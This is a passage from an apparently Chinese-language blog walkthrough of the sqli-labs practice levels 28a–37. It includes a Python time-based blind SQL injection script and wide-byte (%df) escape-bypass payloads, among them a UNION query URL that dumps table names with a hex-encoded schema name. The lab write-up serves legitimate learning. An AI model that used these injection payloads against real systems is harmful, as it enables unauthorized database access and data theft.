payload = "%%26%%26if(ascii(substr((select(flag)from(flag)),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
flag += chr(k)
print("flag为->"+flag)
get_flag()
less28a
本关依然使用bool时间盲注,测试发现使用脚本跟less26a完全一样,详情可以查看Less26a
Less29-31
由于less29-less31关需要使用JspStudy,但是官网的版本不支持Windows10环境(是我太菜,之前在XP虚拟机搭建DVWA环境就搞不好),所以直接跳过了。
less32
本关涉及到新的注入姿势:宽字节注入。
宽字节注入:本人理解的是,由于英文编码每个字母占一个字节,而汉语编码每个汉字占用两个字节,而注入的时候会自动在单引号和双引号前面加上反斜杠(\’)进行转义造成注入失败,所以前面再加上一个汉语编码,如%df(其他编码也可以,不过要ASCII值大于128服务器才会认为是汉字(GBK)编码),由于服务器认为编码是两个字节所以会将后面的反斜杠编码(\)即%5c也看作是汉语编码,从而造成%df%5c被认为是一个汉字,后面的单引号逃逸了出来构成注入。
下面看注入过程:
理解完宽字节注入这关就没有什么问题了,测试同第一关差不多了,可以使用–+进行注释,井号还是进行了过滤,不过可以使用%23编码绕过,order by测试也可以正常使用,相对来说还是比较简单,然而注入过程还是遇到了一个问题:
爆表的时候会遇到这种情况(后面爆字段名也是),如果数据库不用单引号会回显where字句未找到security列,但是使用单引号会进行转义(注意,这里进行宽字节绕过也不行),不过可以使用16进制绕过(具体原因我还不是太清楚,因为没有查看源码,真实测试情况下也不会知道源码,不过我会在尽快搞清楚原因),如下:
注入语句:http://localhost/sqli-labs-master/Less-32/?id=-1%df’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
成功回显,16进制编码使用hackbar自带的编码工具就可以,不过前面不要忘记加0x,好了后面的过程都一样就不再赘述啦。
less33
这一关和上一关注入过程一模一样,差别只是后台使用的函数不一样,less32使用的是自定义函数,这一关使用的是addslashes()函数,不过函数作用都一样,所以这就是为什么这一关的注入过程和less32一样的原因
less34
本关同样是宽字节注入,不过是POST传参,本来以为在前端用heckbar直接注入就行了,但是刚开始怎么试都不行,参考了一下别人的博客抓包看了看,果然有端倪。先看一下注入的图片:
可以看到,在前端页面同样使用get的方式注入%df宽字节逃逸单引号,但是到后端发现%df的百分号也同样进行了编码,所以得直接在burpsuite注入,知道方法以后就简单多了,同前面正常注入即可:
可以看到,测试过程依然同以前一样,不过这次只有两个字段,爆表名和字段名的时候where条件依然要用16进制表示,后面的就不再赘述。
less35
这一关有点搞笑,感觉像是重新回到了第一关,这一关跟前面几关一样,都是在单引号前面加了反斜杠。但是这一关是数字型注入,不需要用到单引号,后面的where条件同样使用16进制绕过就行了,放一张测试图,后面的就不再说了:
less36
本关使用的payload和less32一样,这里就不再赘述一遍,详情可以看less32关,不过看其他师傅的博客了解到,本来源码中的mysql_real_escape_string()函数如果指定为GBK的字符集的话是不能用宽字节绕过的,但是源码中没有指定,所以依然可以用前面的方法绕过。
less37
这一关和less36的差别就是less34和less33的差别,因为过滤函数和less36一样,只是改用了POST传参,所以使用burpsuite同样绕过就可以了。
结语
至此,sql-labs系列page2页面也已结束,后面的题目我感觉方法跟前面的都差不多,还有后面的闯关,也就是总结了前面关卡用到的方法,所以后面的就不再写了,感谢各位师傅的支持,这次的合并内容有点多,内容衔接或许不是太好,还请大家见谅,也希望各位师傅就文章里面所涉及的方法给出建议,这次合并是写以上文章过了一段时间才编辑的,在此期间我也通过做题发现,sql-labs系列的sql注入也是比较基础的,我也会通过做题学习更多的方法,感谢大家支持!